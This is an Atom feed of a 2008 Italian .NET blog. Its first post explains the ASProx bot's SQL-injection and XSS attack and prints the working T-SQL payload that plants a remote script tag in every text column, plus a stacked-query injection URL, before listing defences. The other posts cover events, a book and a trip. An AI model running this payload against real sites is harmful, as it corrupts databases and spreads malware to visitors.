<?xml version="1.0" encoding="Windows-1252"?><feed version="0.3" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns="http://purl.org/atom/ns#" xml:lang="it-it"><title>Ricky.NET - Il blog di Riccardo Golia</title><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/" /><tagline type="text/html">Ricky.NET - Il blog di Riccardo Golia</tagline><id>http://blogs.aspitalia.com/rickyvr/</id><generator url="http://feed.aspitalia.com/" version="ASPItalia.com">feed.ASPItalia.com 'Weyoh' 4.8.818</generator><author><name>Ricky.NET - Il blog di Riccardo Golia</name><url>http://blogs.aspitalia.com/rickyvr/</url></author><modified>2008-08-22T05:02:58+00:00</modified><entry><title>Attacco XSS combinato con SQL-Injection</title><id>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</id><created>2008-07-25T11:00:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2344' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre &#232; cos&#236;.&lt;/p&gt;&lt;p&gt;L'attacco &#232; portato avanti da un bot noto col nome di &lt;a href=&quot;http://www.cio.com.au/index.php/id;552560972&quot; target=&quot;_blank&quot;&gt;ASProx&lt;/a&gt; che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica &lt;a href=&quot;http://xssworm.blogvis.com/23/xssworm/dns-fast-fluxing-are-you-protected-ca-experts-issue-warning-of-new-hacker-attack/&quot;&gt;DNS Fast-Fluxing&lt;/a&gt; per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilit&#224; nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilit&#224; vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo &amp;quot;&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;. Chiaramente il file &amp;quot;ngg.js&amp;quot; contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.&lt;/p&gt;&lt;p&gt;Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:&lt;/p&gt;&lt;p&gt;DECLARE @Table VARCHAR(255)&lt;br /&gt;DECLARE @Column VARCHAR(255)&lt;/p&gt;&lt;p&gt;DECLARE cur CURSOR FOR&lt;br /&gt;SELECT [SO].[Name], [SC].[Name]&lt;br /&gt;FROM sysobjects AS [SO], syscolumns AS [SC]&lt;br /&gt;WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND&lt;br /&gt;([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)&lt;/p&gt;&lt;p&gt;OPEN cur&lt;br /&gt;FETCH NEXT FROM cur INTO @Table,@Column &lt;/p&gt;&lt;p&gt;WHILE (@@FETCH_STATUS = 0)&lt;br /&gt;BEGIN&lt;br /&gt;EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;''')&lt;br /&gt;FETCH NEXT FROM cur INTO @Table, @Column&lt;br /&gt;END&lt;/p&gt;&lt;p&gt;CLOSE cur&lt;br /&gt;DEALLOCATE cur &lt;/p&gt;&lt;p&gt;Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag &amp;lt;script /&amp;gt;. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target &#232; vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: &amp;quot;http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--&amp;quot;).&lt;/p&gt;&lt;p&gt;Per poter mitigare la vulnerabilit&#224; a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ci&#242; che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: &amp;quot;SELECT * FROM Table1 WHERE Id=&amp;quot; + Request.QueryString[&amp;quot;id&amp;quot;]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se &amp;quot;id&amp;quot; deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.&lt;/p&gt;&lt;p&gt;Nonostante le innumerevoli circostanze in cui si &#232; avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili &lt;a href=&quot;http://www.aspitalia.com/articoli/asp.net2/aspnet-security.aspx&quot;&gt;qui&lt;/a&gt; e &lt;a href=&quot;http://www.aspitalia.com/articoli/asp.net2/aspnet-security-2.aspx&quot; target=&quot;_blank&quot;&gt;qui&lt;/a&gt;) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio &#232; ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori! &lt;/p&gt;&lt;p&gt;&lt;strong&gt;LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Meditate, gente, meditate!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Architettura/&quot; rel=&quot;tag&quot;&gt;Architettura&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Security/&quot; rel=&quot;tag&quot;&gt;Security&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Scripting/&quot; rel=&quot;tag&quot;&gt;Scripting&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx"/><issued>2008-07-25T13:00:00+00:00</issued><modified>2008-07-25T13:00:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2344.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2344</trackback:ping></entry><entry><title>Slide e demo della mia sessione ai Community Days online</title><id>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</id><created>2008-07-11T23:20:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2322' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Ho messo da qualche minuto &lt;a href=&quot;http://www.communitydays.it/events/communitydays2008milano.aspx&quot; target=&quot;_blank&quot;&gt;online&lt;/a&gt; le demo mostrate alla mia&#160;sessione&#160;dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonch&#232; le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).&lt;/p&gt;&lt;p&gt;Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di&#160;parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).&lt;/p&gt;&lt;p&gt;Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalit&#224; e a tutti i partecipanti&#160;rinnovo&#160;l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.&lt;/p&gt;&lt;p&gt;P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento&#160;nel vederli cos&#236; spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti cos&#236;...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework/&quot; rel=&quot;tag&quot;&gt;.NET Framework&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework_3.5/&quot; rel=&quot;tag&quot;&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Architettura/&quot; rel=&quot;tag&quot;&gt;Architettura&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/LINQ/&quot; rel=&quot;tag&quot;&gt;LINQ&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/LINQ_to_SQL/&quot; rel=&quot;tag&quot;&gt;LINQ to SQL&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx"/><issued>2008-07-12T01:20:00+00:00</issued><modified>2008-07-12T01:20:00+00:00</modified><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2322.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2322</trackback:ping></entry><entry><title>Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;</title><id>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</id><created>2008-07-02T13:45:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2305' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Ebbene si, lo ha gi&#224; detto &lt;a href=&quot;http://blogs.aspitalia.com/daniele&quot; target=&quot;_blank&quot;&gt;Daniele&lt;/a&gt; &lt;a href=&quot;http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx&quot; target=&quot;_blank&quot;&gt;qui&lt;/a&gt;, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (&lt;a href=&quot;http://blogs.aspitalia.com/daniele&quot; target=&quot;_blank&quot;&gt;Daniele&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo&quot; target=&quot;_blank&quot;&gt;Ricciolo&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/sm15455&quot; target=&quot;_blank&quot;&gt;Stefano&lt;/a&gt; ed io)&#160;di scrivere anche il seguito: &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;Il libro rappresenta un miglioramento di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, ma non si tratta semplicemente&#160;di un aggiornamento incrementale, bens&#236; di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP &amp;amp; C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.&lt;/p&gt;&lt;p&gt;Chi ha avuto modo di apprezzare la densit&#224; di contenuti&#160;e la concretezza di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, non potr&#224; non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sar&#224; ancora una volta&#160;imbattibile, assolutamente&#160;fuori mercato (cio&#232; basso)&#160;rispetto ad altri volumi di pari livello e dimensione.&lt;/p&gt;&lt;p&gt;Tutte le informazioni e una preview del TOC sono disponibili presso il &lt;a href=&quot;http://books.aspitalia.com/ASP.NET-3.5&quot; target=&quot;_blank&quot;&gt;minisito&lt;/a&gt; dedicato ad &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5 per tutti&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx"/><issued>2008-07-02T15:45:00+00:00</issued><modified>2008-07-02T15:45:00+00:00</modified><slash:comments>3</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2305.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2305</trackback:ping></entry><entry><title>MVP Summit 2008</title><id>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</id><created>2008-04-22T14:00:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2274' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Venerd&#236; scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle gi&#224; note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi pi&#249; o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.&lt;/p&gt;&lt;p&gt;Il viaggio non &#232; cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non &#232; arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e &amp;quot;consorte&amp;quot;, Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia &#232; arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglier&#242; una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrer&#224; almeno un briciolo di seriet&#224; nel rimediare ai suoi disservizi.&lt;/p&gt;&lt;p&gt;Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli &amp;quot;italiani&amp;quot; di Microsoft. Inutile dire che &#232; stata un'occasione davvero memorabile, li voglio ringraziare tutti perch&#232; si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'universit&#224; con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui &#232; l&#236; da quasi 10 anni, una vita in pratica... Grande!&lt;/p&gt;&lt;p&gt;La domenica &#232; trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato pi&#249; tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro cos&#236; vantaggioso &#232; stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno &#232; stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione &#232; stata davvero &amp;quot;showtime&amp;quot;. Domani sar&#224; qua in Italia per un evento: chi ci potr&#224; andare, non deve lasciarsi perdere l'occasione.&lt;/p&gt;&lt;p&gt;Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non &#232; poi cos&#236; male, la gente &#232; gentile e disponibile ovunque, in certe occasioni &#232; a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perch&#232; no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avr&#242; l'occasione, spero di poter partecipare a questo evento ancora in futuro.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, &#232; sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.&lt;/p&gt;&lt;p&gt;Di seguito un po' di foto in ordine sparso: enjoy!&lt;/p&gt;&lt;p&gt;&#160;&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea001.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 1:&lt;/strong&gt; viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea002.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 2: &lt;/strong&gt;in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea003.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 3:&lt;/strong&gt; &#232; stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'universit&#224; (Ivan) che lavora in Microsoft da quasi 10 anni. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea004.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 4:&lt;/strong&gt; foto di guppo dei Gladiators alla registrazione pre-conference della domenica. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea005.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 5:&lt;/strong&gt; insolita foto di gruppo: c'&#232; un intruso... Indovina qual'&#232;! &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea006.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 6:&lt;/strong&gt; insieme ad Alessandro &amp;quot;Garbin&amp;quot; Gallo davanti alla scatola del mitico BOB. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea007.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 7:&lt;/strong&gt; alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea008.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 8:&lt;/strong&gt; al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea009.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 9:&lt;/strong&gt; il Campus di Microsoft &#232; una piccola citt&#224; con palazzi, strade, giardini, segnaletica, ecc. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea010.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 10:&lt;/strong&gt; classica foto per chi visita il Campus di Redmond. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea011.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 11:&lt;/strong&gt; la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle. &lt;/p&gt;&lt;p&gt;&lt;img alt=&quot; &quot; src=&quot;http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea012.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 12:&lt;/strong&gt; un po' di Gladiators &amp;quot;developer&amp;quot; insieme al MVP Lead italiano Alessandro &amp;quot;Alead&amp;quot; Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx"/><issued>2008-04-22T16:00:00+00:00</issued><modified>2008-04-22T16:00:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2274.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2274</trackback:ping></entry><entry><title>Real Code Launch 2008: demo online</title><id>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</id><created>2008-03-18T10:15:45+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2255' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: &lt;a href=&quot;http://2008launch.aspitalia.com&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;2008launch.aspitalia.com&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, &lt;a href=&quot;http://blogs.msdn.com/gabrielecastellani/default.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Gabriele Castellani&lt;/a&gt; e &lt;a href=&quot;http://blogs.msdn.com/pietrobr/default.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Pietro Brambati&lt;/a&gt; per il continuo supporto, per la fiducia e per l'&lt;a href=&quot;http://blogs.msdn.com/italy/archive/2008/03/15/msdn-talks-incontro-con-aspitalia.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;intervista stile rock-band&lt;/a&gt; (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).&lt;/p&gt; &lt;p&gt;Organizzato anche nei minimi dettagli, l'evento &amp;#232; stato magico e la formula si &amp;#232; rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://live.aspitalia.com/album/2008/760/015.img?w=620&quot; alt=&quot; &quot;/&gt; &lt;/p&gt; &lt;p&gt;Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.&lt;/p&gt; &lt;p&gt;Infine un ringraziamento particolare va anche agli altri {eroi} della serata: &lt;a href=&quot;http://blogs.aspitalia.com/daniele&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Daniele&lt;/a&gt; (semplicemente perch&amp;#232; &amp;#232; quello che &amp;#232;, unico nel suo genere), &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Ricciolo&lt;/a&gt; (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione &lt;a href=&quot;http://blogs.aspitalia.com/sm15455&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Stefano&lt;/a&gt; (che si &amp;#232; divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici &amp;quot;Little Lions Boys&amp;quot; (&lt;a href=&quot;http://blogs.aspitalia.com/nostromo&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Marco&lt;/a&gt; e &lt;a href=&quot;http://blogs.aspitalia.com/novecento&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Alessio Leoncini&lt;/a&gt;).&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://live.aspitalia.com/album/2008/760/014.img?w=620&quot; alt=&quot; &quot;/&gt; &lt;/p&gt; &lt;p&gt;Le altre foto sono disponibili nella &lt;a href=&quot;http://live.aspitalia.com/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;sezione LIVE di ASPItalia.com&lt;/a&gt;, in tutto sono una quindicina. Buona visione!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/10annidi/&quot; rel=&quot;tag&quot;&gt;10annidi&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Visual_Studio/&quot; rel=&quot;tag&quot;&gt;Visual Studio&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Server/&quot; rel=&quot;tag&quot;&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" 